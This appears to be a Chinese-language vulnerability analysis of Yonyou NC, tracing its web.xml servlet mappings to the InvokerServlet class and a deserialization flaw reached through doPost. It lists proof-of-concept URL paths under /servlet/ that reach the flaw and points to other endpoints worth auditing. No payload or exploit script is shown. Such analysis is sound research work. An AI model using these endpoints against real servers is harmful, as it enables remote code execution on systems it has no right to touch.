hotwebs/ecp/WEB-INF/web.xml:161:	</servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:162:	<servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:165:	</servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:61:	<servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:64:	</servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:68:	<servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:71:	</servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:72:	<servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:75:	</servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:77:	<servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:80:	</servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:82:	<servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:85:	</servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:87:	<servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:90:	</servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:92:	<servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:95:	</servlet-mapping>
patchmanager/server/conf/web.xml:154:<servlet-mapping>
patchmanager/server/conf/web.xml:157:	</servlet-mapping>
patchmanager/server/conf/web.xml:267:    <servlet-mapping>
patchmanager/server/conf/web.xml:270:    </servlet-mapping>
patchmanager/server/conf/web.xml:274:    <servlet-mapping>
patchmanager/server/conf/web.xml:277:    </servlet-mapping>
patchmanager/server/conf/web.xml:281:    <servlet-mapping>
patchmanager/server/conf/web.xml:284:    </servlet-mapping>
patchmanager/server/conf/web.xml:286:    <servlet-mapping>
patchmanager/server/conf/web.xml:289:    </servlet-mapping>
patchmanager/server/conf/web.xml:293:    <servlet-mapping>
patchmanager/server/conf/web.xml:296:    </servlet-mapping>
patchmanager/server/conf/web.xml:302:    <servlet-mapping>
patchmanager/server/conf/web.xml:305:    </servlet-mapping>
Binary file patchmanager/server/lib/j2ee.jar matches
patchmanager/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
Binary file nmc/client/lib/j2ee.jar matches
nmc/server/conf/web.xml:154:<servlet-mapping>
nmc/server/conf/web.xml:157:	</servlet-mapping>
nmc/server/conf/web.xml:267:    <servlet-mapping>
nmc/server/conf/web.xml:270:    </servlet-mapping>
nmc/server/conf/web.xml:274:    <servlet-mapping>
nmc/server/conf/web.xml:277:    </servlet-mapping>
nmc/server/conf/web.xml:281:    <servlet-mapping>
nmc/server/conf/web.xml:284:    </servlet-mapping>
nmc/server/conf/web.xml:286:    <servlet-mapping>
nmc/server/conf/web.xml:289:    </servlet-mapping>
nmc/server/conf/web.xml:293:    <servlet-mapping>
nmc/server/conf/web.xml:296:    </servlet-mapping>
nmc/server/conf/web.xml:302:    <servlet-mapping>
nmc/server/conf/web.xml:305:    </servlet-mapping>
Binary file nmc/server/lib/j2ee.jar matches
nmc/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping

内容还是很多,在缩小一点范围:

> grep -rn "/servlet/" |grep "web.xml"

hotwebs/uapsep/WEB-INF/web.xml:62:        <url-pattern>/servlet/searchServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:66:        <url-pattern>/servlet/groupServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:70:        <url-pattern>/servlet/sourceServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:74:        <url-pattern>/servlet/adSearchUIServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:78:        <url-pattern>/servlet/adSearchResultServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:82:        <url-pattern>/servlet/SearchTypeServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:86:        <url-pattern>/servlet/SearchRoleServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:91:        <url-pattern>/servlet/monitorServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:95:        <url-pattern>/servlet/metaServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:99:        <url-pattern>/servlet/addDocServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:103:        <url-pattern>/servlet/shardSearchServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:107:        <url-pattern>/servlet/testmainsub</url-pattern>
webapps/nc_web/WEB-INF/web.xml:94:	  <url-pattern>/servlet/*</url-pattern>
patchmanager/server/conf/web.xml:276:        <url-pattern>/servlet/*</url-pattern>
patchmanager/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
nmc/server/conf/web.xml:276:        <url-pattern>/servlet/*</url-pattern>
nmc/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping

已经可以看到关于 /servlet/,应该是在 webapps/nc_web/WEB-INF/web.xml

> cat webapps/nc_web/WEB-INF/web.xml |grep -B5 -A5 "/servlet/"

	  <url-pattern>/service/*</url-pattern>
	</servlet-mapping>
	
	<servlet-mapping>
	  <servlet-name>NCInvokerServlet</servlet-name>
	  <url-pattern>/servlet/*</url-pattern>
	</servlet-mapping>
	
		<mime-mapping>
        <extension>xls</extension>
        <mime-type>application/vnd.ms-excel</mime-type>

很明显了。就是交给 NCInvokerServlet 类处理,前面的分析其实都在解析这个 web.xml 文件而已,简简单单的事情搞复杂了。

但是利用链里面的关键类是 InvokerServlet。详细看一下这个 NCInvokerServlet:

	<servlet> 
	 <servlet-name>NCInvokerServlet</servlet-name>
	  <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
	</servlet>

看到 NCInvokerServlet 是由 nc.bs.framework.server.InvokerServlet 类来处理的。到这里之后因为是 Post 方法交给 doPost 方法处理,最终反序列化。

PoC 的 URL 可以是

/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
/servlet/~ic/MonitorServlet
/servlet/monitorservlet

详细看一下 webapps/nc_web/WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">-->
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
    version="2.4" id="WebApp">
        <listener>
                <listener-class>nc.bs.framework.server.WebApplicationStartupHook</listener-class>
        </listener>
        <filter>
         <filter-name>LoggerFilter</filter-name>
         <filter-class>nc.bs.framework.server.LoggerServletFilter</filter-class>
        </filter>


        <filter-mapping>
         <filter-name>LoggerFilter</filter-name>
         <url-pattern>/*</url-pattern>
         <dispatcher>REQUEST</dispatcher>
        </filter-mapping>



        <servlet>
                <servlet-name>CommonServletDispatcher</servlet-name>
                <servlet-class>nc.bs.framework.comn.serv.CommonServletDispatcher</servlet-class>
                <init-param>
                        <param-name>service</param-name>
                        <param-value>nc.bs.framework.comn.serv.ServiceDispatcher</param-value>
                </init-param>
                <load-on-startup>10</load-on-startup>
        </servlet>

        <servlet>
                <servlet-name>ProvisionServlet</servlet-name>
                <servlet-class>nc.bs.framework.provision.server.ProvisionServlet</servlet-class>
                <load-on-startup>5</load-on-startup>
        </servlet>

        <servlet>
         <servlet-name>NCInvokerServlet</servlet-name>
          <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
        </servlet>

        <servlet>
         <servlet-name>NCFindWebServlet</servlet-name>
          <servlet-class>nc.bs.framework.server.FindWebResourceServlet</servlet-class>
        </servlet>
        <servlet>
         <servlet-name>ws-ncapplet</servlet-name>
          <jsp-file>/jsp/wsncapplet.jsp</jsp-file>
        </servlet>




        <servlet>
         <servlet-name>app-esc</servlet-name>
          <servlet-class>uap.serverdes.appesc.AppEscServlet</servlet-class>
        </servlet>
        <servlet-mapping>
          <servlet-name>app-esc</servlet-name>
          <url-pattern>/app.esc</url-pattern>
        </servlet-mapping>



        <servlet-mapping>
          <servlet-name>ws-ncapplet</servlet-name>
          <url-pattern>/ncws.jnlp</url-pattern>
        </servlet-mapping>
        <servlet-mapping>
                <servlet-name>NCFindWebServlet</servlet-name>
                <url-pattern>/NCFindWeb</url-pattern>
        </servlet-mapping>

        <servlet-mapping>
                <servlet-name>CommonServletDispatcher</servlet-name>
                <url-pattern>/ServiceDispatcherServlet/*</url-pattern>
        </servlet-mapping>

        <servlet-mapping>
                <servlet-name>ProvisionServlet</servlet-name>
                <url-pattern>/provision</url-pattern>
        </servlet-mapping>

        <servlet-mapping>
          <servlet-name>NCInvokerServlet</servlet-name>
          <url-pattern>/service/*</url-pattern>
        </servlet-mapping>

        <servlet-mapping>
          <servlet-name>NCInvokerServlet</servlet-name>
          <url-pattern>/servlet/*</url-pattern>
        </servlet-mapping>

                <mime-mapping>
        <extension>xls</extension>
        <mime-type>application/vnd.ms-excel</mime-type>
   </mime-mapping>

        <welcome-file-list>
                <welcome-file>default.jsp</welcome-file>
                <welcome-file>index.html</welcome-file>
                <welcome-file>index.htm</welcome-file>
                <welcome-file>index.jsp</welcome-file>
                <welcome-file>default.html</welcome-file>
                <welcome-file>default.htm</welcome-file>
        </welcome-file-list>

        <security-constraint>
            <web-resource-collection>
            <web-resource-name>uapweb</web-resource-name>
                        <url-pattern>/*</url-pattern>
                        <http-method>PUT</http-method>
                        <http-method>DELETE</http-method>
                        <http-method>HEAD</http-method>
                        <http-method>OPTIONS</http-method>
                        <http-method>TRACE</http-method>
                </web-resource-collection>
                <auth-constraint>
                </auth-constraint>
        </security-constraint>
        <login-config>
                <auth-method>BASIC</auth-method>
        </login-config>

        <error-page>
        <error-code>403</error-code>
        <location>/error.jsp</location>
  </error-page>
        <error-page>
        <error-code>404</error-code>
        <location>/error.jsp</location>
  </error-page>
   <error-page>
      <error-code>400</error-code>
      <location>/error.jsp</location>
  </error-page>
  <error-page>
      <error-code>500</error-code>
      <location>/error.jsp</location>
        </error-page>
        <error-page>
                        <exception-type>java.lang.Exception</exception-type>
                        <location>/error.jsp</location>
        </error-page>

</web-app>

url-pattern 开始看起,一共有这些 URL 是需要特殊(指的是交给某个类)处理的。

/servlet/*
/service/*
/provision
/ServiceDispatcherServlet/*
/NCFindWeb
/ncws.jnlp
/app.esc

前两个是本次漏洞的 URL,剩下几个都可以审计看看。

nc.bs.framework.comn.serv.CommonServletDispatcher#doPost

    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            this.rmiHandler.handle(new HttpRMIContext(request, response));
        } catch (Throwable var4) {
            log.error("remote service error", var4);
        }

    }

看到也是一个 NDay 漏洞:用友NC历史漏洞(含POC) (qq.com)